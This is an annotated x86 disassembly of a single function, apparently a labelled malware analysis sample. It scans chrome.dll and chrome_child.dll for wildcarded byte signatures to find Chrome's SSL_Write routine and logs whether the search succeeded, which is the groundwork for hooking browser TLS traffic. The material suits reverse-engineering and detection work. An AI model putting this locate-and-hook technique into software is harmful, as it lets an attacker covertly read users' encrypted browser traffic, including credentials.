Function at 0x100030c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002b896
mov eax, dword fs:[0]
push eax
mov eax, 0x1214
call fcn.100140b0
mov eax, dword [0x1003e078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1220], ecx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x121c], esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x1000311b
mov eax, dword [ecx]
jmp 0x1000311d
mov eax, ecx
push 5
push str..text
mov byte [eax], 0
call fcn.10007e60
sub esp, 0x18
mov dword [ebp - 4], 0
mov ecx, esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x10003150
mov eax, dword [ecx]
jmp 0x10003152
mov eax, ecx
push 0xa
push str.chrome.dll
mov byte [eax], 0
call fcn.10007e60
mov dword [ebp - 4], 0xffffffff
call fcn.1000c8d0
mov esi, edx
add esp, 0x30
mov dword [ebp - 0x1214], esi
mov ebx, eax
test esi, esi
je 0x10003186
test ebx, ebx
jne 0x10003218
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x121c], esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x100031a9
mov eax, dword [ecx]
jmp 0x100031ab
mov eax, ecx
push 5
push str..text
mov byte [eax], 0
call fcn.10007e60
sub esp, 0x18
mov dword [ebp - 4], 1
mov ecx, esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x100031de
mov eax, dword [ecx]
jmp 0x100031e0
mov eax, ecx
push 0x10
push str.chrome_child.dll
mov byte [eax], 0
call fcn.10007e60
mov dword [ebp - 4], 0xffffffff
call fcn.1000c8d0
mov ebx, eax
add esp, 0x30
mov eax, edx
mov dword [ebp - 0x1214], eax
test eax, eax
je 0x1000379d
test ebx, ebx
je 0x1000379d
push 0x1da
lea eax, [ebp - 0x11ea]
mov dword [ebp - 0x1210], 0x53e58955
push 0
push eax
mov dword [ebp - 0x120c], 0xec835657
mov dword [ebp - 0x1208], 0x87d8b08
mov dword [ebp - 0x1204], 0x3f3f3fa1
mov dword [ebp - 0x1200], 0x89e8313f
mov dword [ebp - 0x11fc], 0x478bf045
mov dword [ebp - 0x11f8], 0x89f63118
mov dword [ebp - 0x11f4], 0x3f3f3fb0
mov dword [ebp - 0x11f0], 0x3f3fe83f
mov word [ebp - 0x11ec], 0x3f3f
call fcn.100162c0
push 0x1dc
lea eax, [ebp - 0xfec]
mov dword [ebp - 0x1010], 0x53e58955
push 0
push eax
mov dword [ebp - 0x100c], 0xec835657
mov dword [ebp - 0x1008], 0x3f3fa108
mov dword [ebp - 0x1004], 0x7d8b3f3f
mov dword [ebp - 0x1000], 0x89e83108
mov dword [ebp - 0xffc], 0x478bf045
mov dword [ebp - 0xff8], 0x3fb08918
mov dword [ebp - 0xff4], 0xe83f3f3f
mov dword [ebp - 0xff0], 0x3f3f3f3f
call fcn.100162c0
push 0x1d8
lea eax, [ebp - 0xde8]
mov dword [ebp - 0xe10], 0x53e58955
push 0
push eax
mov dword [ebp - 0xe0c], 0xec835657
mov dword [ebp - 0xe08], 0x8758b08
mov dword [ebp - 0xe04], 0x3f3f3fa1
mov dword [ebp - 0xe00], 0x89e8313f
mov dword [ebp - 0xdfc], 0x468bf045
mov dword [ebp - 0xdf8], 0x3f80c718
mov dword [ebp - 0xdf4], 0x3f3f3f3f
mov dword [ebp - 0xdf0], 0xe83f3f3f
mov dword [ebp - 0xdec], 0x3f3f3f3f
call fcn.100162c0
push 0x1d8
lea eax, [ebp - 0xbe8]
mov dword [ebp - 0xc10], 0x53e58955
push 0
push eax
mov dword [ebp - 0xc0c], 0xec835657
mov dword [ebp - 0xc08], 0x3f3fa108
mov dword [ebp - 0xc04], 0x7d8b3f3f
mov dword [ebp - 0xc00], 0x89e83108
mov dword [ebp - 0xbfc], 0x478bf045
mov dword [ebp - 0xbf8], 0x3f80c718
mov dword [ebp - 0xbf4], 0x3f3f3f3f
mov dword [ebp - 0xbf0], 0xe83f3f3f
mov dword [ebp - 0xbec], 0x3f3f3f3f
call fcn.100162c0
push 0x1da
lea eax, [ebp - 0x9ea]
mov dword [ebp - 0xa10], 0x53e58955
push 0
push eax
mov dword [ebp - 0xa0c], 0xec835657
mov dword [ebp - 0xa08], 0x3f3fa108
mov dword [ebp - 0xa04], 0x7d8b3f3f
mov dword [ebp - 0xa00], 0x31f63108
mov dword [ebp - 0x9fc], 0xf04589e8
mov dword [ebp - 0x9f8], 0x8918478b
mov dword [ebp - 0x9f4], 0x3f3f3fb0
mov dword [ebp - 0x9f0], 0x3f3fe83f
mov word [ebp - 0x9ec], 0x3f3f
call fcn.100162c0
mov dword [ebp - 0x810], 0x53e58955
mov dword [ebp - 0x80c], 0xec835657
mov dword [ebp - 0x808], 0x3f7d8b3f
mov dword [ebp - 0x804], 0x3f3f3fa1
mov dword [ebp - 0x800], 0x89e8313f
mov dword [ebp - 0x7fc], 0x478b3f45
mov dword [ebp - 0x7f8], 0x89f6313f
push 0x1d5
lea eax, [ebp - 0x7e5]
mov dword [ebp - 0x7f4], 0x3f3f3fb0
push 0
push eax
mov dword [ebp - 0x7f0], 0x3f3fe83f
mov dword [ebp - 0x7ec], 0x3fe83f3f
mov word [ebp - 0x7e8], 0x3f3f
mov byte [ebp - 0x7e6], 0x3f
call fcn.100162c0
add esp, 0x48
mov dword [ebp - 0x610], 0x53e58955
lea eax, [ebp - 0x5c8]
mov dword [ebp - 0x60c], 0xec835657
mov dword [ebp - 0x608], 0x3f3fa13f
mov dword [ebp - 0x604], 0x7d8b3f3f
push 0x1b8
push 0
push eax
mov dword [ebp - 0x600], 0x89e8313f
mov dword [ebp - 0x5fc], 0x478b3f45
mov dword [ebp - 0x5f8], 0x3f80c73f
mov dword [ebp - 0x5f4], 0x3f3f3f3f
mov dword [ebp - 0x5f0], 0xe83f3f3f
mov dword [ebp - 0x5ec], 0x3f3f3f3f
mov dword [ebp - 0x5e8], 0x3f3f3fe8
mov dword [ebp - 0x5e4], 0x3f7f833f
mov dword [ebp - 0x5e0], 0x683f743f
mov dword [ebp - 0x5dc], 0x3f3f3f3f
mov dword [ebp - 0x5d8], 0x3f3f3f68
mov dword [ebp - 0x5d4], 0x6a3f6a3f
mov dword [ebp - 0x5d0], 0xe83f6a3f
mov dword [ebp - 0x5cc], 0x3f3f3f3f
call fcn.100162c0
push 0x198
lea eax, [ebp - 0x3a8]
mov dword [ebp - 0x410], 0x53e58955
push 0
push eax
mov dword [ebp - 0x40c], 0xec835657
mov dword [ebp - 0x408], 0x3f3fa13f
mov dword [ebp - 0x404], 0x7d8b3f3f
mov dword [ebp - 0x400], 0x89e8313f
mov dword [ebp - 0x3fc], 0x478b3f45
mov dword [ebp - 0x3f8], 0x3f80c73f
mov dword [ebp - 0x3f4], 0x3f3f3f3f
mov dword [ebp - 0x3f0], 0xe83f3f3f
mov dword [ebp - 0x3ec], 0x3f3f3f3f
mov dword [ebp - 0x3e8], 0x3f3f3fe8
mov dword [ebp - 0x3e4], 0x3f7f833f
mov dword [ebp - 0x3e0], 0x8b3f743f
mov dword [ebp - 0x3dc], 0xb8833f47
mov dword [ebp - 0x3d8], 0x3f3f3f3f
mov dword [ebp - 0x3d4], 0x683f743f
mov dword [ebp - 0x3d0], 0x3f3f3f3f
mov dword [ebp - 0x3cc], 0x3f3f3f68
mov dword [ebp - 0x3c8], 0x3f3f683f
mov dword [ebp - 0x3c4], 0x3feb3f3f
mov dword [ebp - 0x3c0], 0x3f3f3f68
mov dword [ebp - 0x3bc], 0x3f3f683f
mov dword [ebp - 0x3b8], 0x3f683f3f
mov dword [ebp - 0x3b4], 0x6a3f3f3f
mov dword [ebp - 0x3b0], 0xe83f6a3f
mov dword [ebp - 0x3ac], 0x3f3f3f3f
call fcn.100162c0
mov edx, dword [ebp - 0x1214]
lea esi, [ebp - 0x1210]
add esp, 0x18
mov dword [ebp - 0x1218], 0
mov dword [ebp - 0x121c], esi
nop word [eax + eax]
mov ecx, 0x80
lea edi, [ebp - 0x210]
rep movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x210]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10003706
sub esi, ecx
mov eax, edx
xor edi, edi
sub eax, esi
je 0x10003746
xor eax, eax
test esi, esi
je 0x10003771
nop dword [eax]
mov dl, byte [ebp + eax - 0x210]
lea ecx, [eax + edi]
cmp byte [ecx + ebx], dl
je 0x10003734
cmp dl, 0x3f
jne 0x10003771
inc eax
cmp eax, esi
jb 0x10003720
lea eax, [edi + ebx]
test eax, eax
jne 0x10003780
mov edx, dword [ebp - 0x1214]
mov eax, dword [ebp - 0x1218]
mov esi, dword [ebp - 0x121c]
inc eax
add esi, 0x200
mov dword [ebp - 0x1218], eax
mov dword [ebp - 0x121c], esi
cmp eax, 8
jb 0x100036f0
push str.SearchFunAddr:_SSL_Write_failed
jmp 0x100037a2
mov eax, dword [ebp - 0x1214]
inc edi
sub eax, esi
cmp edi, eax
jb 0x10003717
jmp 0x10003740
mov ecx, dword [ebp - 0x1220]
push str.SearchFunAddr:_SSL_Write_success
mov dword [ecx + 0x10], eax
call fcn.10001410
add esp, 4
mov eax, 1
jmp 0x100037ac
push str.SearchFunAddr:_text.dwSize__0__text.dwStartAddress__0
call fcn.10001410
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10012f55
mov esp, ebp
pop ebp
ret